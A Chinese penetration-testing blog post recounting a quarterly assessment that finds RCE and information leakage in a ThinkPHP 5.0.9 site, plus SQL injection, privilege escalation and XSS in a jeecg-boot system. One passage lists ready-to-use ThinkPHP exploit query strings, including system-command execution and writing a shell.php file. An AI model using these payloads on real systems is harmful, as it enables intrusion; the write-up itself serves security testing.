风掀起桌上的 A4 纸,我望着窗外随风摇曳的柳枝,忽然觉得这场景像极了此刻攥在掌心的 U 盘 —— 有些秘密,总藏在最意想不到的角落,等着被阳光照亮的瞬间,抖落满身尘埃。
唰~,我从梦里醒来,看着 手机上亮眼的 9.05,我知道,那是我快迟到了。
看着年年都一样的资产,甚至难堪,漏洞越挖越少,安全等级越来越高,但还是要进行季度测试
打开资产表,随机选中一个,映入眼前的,则是普通的登录页面,只是颜色过于单调
首先脑海里浮现很多知识,突然有人开口说先测弱口令,另一个则说 测个毛线弱口令,我天天看他挖漏洞,一个弱口令都没挖到。
. . . . . .
stop,你俩安静点,思路都被你们扰乱了。
随后,按照登陆框测试思路,我先打开谷歌插件,查看 js 路径,就这么几条,还挖个屁
但是看到路径,有似曾相识的赶紧,原来是 thinkphp 老前辈
为了验证结果,我在域名后面输入 aaaaa,然后报错信息中确定了 thinkphp,并且版本是 5.0.9
于是掏出祖传扫描工具,开始进行探测
为什么要这么对我,我到底哪里做错了,为什么一个 poc 都没成功,哦 不 !!!!
忽然我看到了一抹曙光,那是注册按钮
发送成功,但是手机却没收到验证码,又一次伤了我的心
于是针对特定版本搜索 poc
?s=index/thinkconfig/get&name=database.username?s=index/thinkLang/load&file=../../test.jpg?s=index/thinkConfig/load&file=../../t.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami?s=index/thinkRequest/input&filter[]=system&data=pwd?s=index/thinkviewdriverPhp/display&content=<?phpphpinfo();?>?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?phpphpinfo();?>?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
五一例外,全是 error
信息泄露
就在我百思不得其解时,我灵光一闪,index 模块不存在,要么删除了要么改名字了
结合刚刚手机号注册的接口,api 会不会就是 index?
果然,成功了,怪不得扫不出来,工具里的 poc 都是 index 开头
既然显示出数据库的信息了,那岂不是可以连接了
当你开了一扇门,肯定会有一扇窗被关闭
内网的数据库地址,这让我很难办啊
RCE
然后又试了其他 poc,果不其然,还是存在漏洞滴
我猜想,或许是接口名称的悄然变更,让它在两年时光里与无数目光擦肩而过,始终未被察觉。直至今日,终于为第一次测试时遗留的空缺画上了句号。
SQL
下一处亦然是一个登录页面,但此时的框架变成了 jeecg-boot
根据数据包中存在 /sys/login
路径这一特征,结合我此前对 CMS 系统架构的审计经验,初步判断该目标系统可能存在特定风险。
从技术细节来看,多数基于 Jeecg-Boot 开发的系统会内嵌 JMReport(积木报表)。在过往审计中发现,该组件通常存在多个潜在漏洞接口。经本轮测试验证,发现其中仅一个接口未进行权限认证,且通过该接口成功触发了SQL 注入漏洞。
剩下就是普通漏洞了
越权+存储 XSS+反射 XSS
越权访问,注册商家账号,通过接口里泄露用户功能访问列表
然后就越权到个人中心了,修改昵称为 xss 语句,然后有个变更日志,打开就触发 xss 了。
反射 xss 就是 ueditor 编辑器,你们懂的。
原文始发于微信公众号(我不懂安全):我在马路边,捡到两年前的RCE了
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论